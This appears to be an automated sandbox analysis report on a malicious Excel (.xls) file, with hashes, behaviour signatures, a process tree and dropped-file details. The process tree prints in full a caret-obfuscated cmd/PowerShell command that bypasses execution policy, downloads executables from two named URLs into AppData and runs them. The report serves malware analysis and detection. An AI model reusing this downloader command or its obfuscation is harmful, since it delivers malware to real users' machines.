Analysis

  • max time kernel
    46s
  • max time network
    43s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-07-2024 22:25

General

  • Target

    99ee3de5b1ff1665708ca47338eeb389824cc07af1273abe31c7b7a05facfee4.xls

  • Size

    52KB

  • MD5

    86f2a9879de336b1c983755b2615f926

  • SHA1

    19250c71f3eb28a6b4e3febef6dfa47a30e3342e

  • SHA256

    99ee3de5b1ff1665708ca47338eeb389824cc07af1273abe31c7b7a05facfee4

  • SHA512

    d37da87e8a2e65b17f138540283e005b68016c7a2688889f621858b06cf1362cab8d21a91a4e99c47b87ec996e31c1813a389f45418eee45f91620800e987bcc

  • SSDEEP

    1536:0fxEtjPOtioVjDGUU1qfDlaGGx+cMdg6boobYGF7:0fxEtjPOtioVjDGUU1qfDlaGGx+cMdgw

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Start PowerShell.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\99ee3de5b1ff1665708ca47338eeb389824cc07af1273abe31c7b7a05facfee4.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2496
    • C:\Windows\SYSTEM32\CMd.exe
      CMd.exe /c "p^ow^Ers^hel^l^.e^xe^ -nO^l -No^Ni^Nt^ -W^IndOws^ 1 -NoprOFIle^ -ex^Ec^u B^Ypa^S^s -Wi^ 1 -N^O^Pr^ $random = N^ew-^O^b^je^ct^ Sy^st^em.^Ran^do^m; Fo^rea^ch($um in @({http://cizijazykyhrou.cz/ama.exe},{http://biwebdisseny.com/eco.exe})) { t^ry { $fg = $ra^n^do^m.n^e^xt(0, 61132); $pp = '%appdata%\' + $fg + '.exe'; ^(^ne^w-^ob^jec^t s^ys^t^e^m.ne^t^.webcli^en^t)^.D^ow^nl^o^ad^Fi^le($um.ToString(), $pp); St^a^rt-^Pr^oce^ss $pp; b^re^ak; } c^at^ch { Wr^it^e-Ho^st $err^or[0].E^x^cep^ti^on } }"
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:5412
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powErshell.exe -nOl -NoNiNt -WIndOws 1 -NoprOFIle -exEcu BYpaSs -Wi 1 -NOPr $random = New-Object System.Random; Foreach($um in @({http://cizijazykyhrou.cz/ama.exe},{http://biwebdisseny.com/eco.exe})) { try { $fg = $random.next(0, 61132); $pp = 'C:\Users\Admin\AppData\Roaming\' + $fg + '.exe'; (new-object system.net.webclient).DownloadFile($um.ToString(), $pp); Start-Process $pp; break; } catch { Write-Host $error[0].Exception } }
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5532

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hdxrkrzb.tm5.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\38726.exe

    Filesize

    156B

    MD5

    6ef02398f62dba21a714f594f1b41c0c

    SHA1

    35ff956a403f991440678410da9d62b6af356458

    SHA256

    ebb8bb04e30b3a5e04c087a9e7fca556b76961b42433e52473be40e73afa9cd0

    SHA512

    4758938d0602747b811a8a1e630b9e8a43893ce5e97f73824e627b4c75f6247f4918ccc139cdd148e5ceaaec4b8b58cece67f1f04f5c549fcb140b7e0feb3f14

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

    Filesize

    3KB

    MD5

    966172937f36170dafbef1c27fa60cde

    SHA1

    4f49c6ecbb49816cef1c807b6b2054d5f7d223c8

    SHA256

    53f4639259085152efcc17392f978db52e7ae473830b2ad317479ffe6fb1c17a

    SHA512

    f4cf0d3172d455fdb247fcf871b57e14343c91a536c17690fe234e2a4a07a42cd326e63fe06c0d247bc388a678ee06680e5c28e7257ef31ceebf16edf15af571

  • memory/2496-13-0x00007FF8DF430000-0x00007FF8DF625000-memory.dmp

    Filesize

    2.0MB

  • memory/2496-14-0x00007FF8DF430000-0x00007FF8DF625000-memory.dmp

    Filesize

    2.0MB

  • memory/2496-5-0x00007FF8DF4CD000-0x00007FF8DF4CE000-memory.dmp

    Filesize

    4KB

  • memory/2496-9-0x00007FF8DF430000-0x00007FF8DF625000-memory.dmp

    Filesize

    2.0MB

  • memory/2496-10-0x00007FF8DF430000-0x00007FF8DF625000-memory.dmp

    Filesize

    2.0MB

  • memory/2496-8-0x00007FF8DF430000-0x00007FF8DF625000-memory.dmp

    Filesize

    2.0MB

  • memory/2496-11-0x00007FF8DF430000-0x00007FF8DF625000-memory.dmp

    Filesize

    2.0MB

  • memory/2496-7-0x00007FF8DF430000-0x00007FF8DF625000-memory.dmp

    Filesize

    2.0MB

  • memory/2496-6-0x00007FF8DF430000-0x00007FF8DF625000-memory.dmp

    Filesize

    2.0MB

  • memory/2496-0-0x00007FF89F4B0000-0x00007FF89F4C0000-memory.dmp

    Filesize

    64KB

  • memory/2496-12-0x00007FF89D400000-0x00007FF89D410000-memory.dmp

    Filesize

    64KB

  • memory/2496-4-0x00007FF89F4B0000-0x00007FF89F4C0000-memory.dmp

    Filesize

    64KB

  • memory/2496-18-0x00007FF8DF430000-0x00007FF8DF625000-memory.dmp

    Filesize

    2.0MB

  • memory/2496-19-0x00007FF8DF430000-0x00007FF8DF625000-memory.dmp

    Filesize

    2.0MB

  • memory/2496-17-0x00007FF8DF430000-0x00007FF8DF625000-memory.dmp

    Filesize

    2.0MB

  • memory/2496-16-0x00007FF8DF430000-0x00007FF8DF625000-memory.dmp

    Filesize

    2.0MB

  • memory/2496-15-0x00007FF89D400000-0x00007FF89D410000-memory.dmp

    Filesize

    64KB

  • memory/2496-99-0x00007FF8DF430000-0x00007FF8DF625000-memory.dmp

    Filesize

    2.0MB

  • memory/2496-651-0x00007FF8DF430000-0x00007FF8DF625000-memory.dmp

    Filesize

    2.0MB

  • memory/2496-3-0x00007FF89F4B0000-0x00007FF89F4C0000-memory.dmp

    Filesize

    64KB

  • memory/2496-1-0x00007FF89F4B0000-0x00007FF89F4C0000-memory.dmp

    Filesize

    64KB

  • memory/2496-2-0x00007FF89F4B0000-0x00007FF89F4C0000-memory.dmp

    Filesize

    64KB

  • memory/5532-615-0x000001A61CB60000-0x000001A61CB82000-memory.dmp

    Filesize

    136KB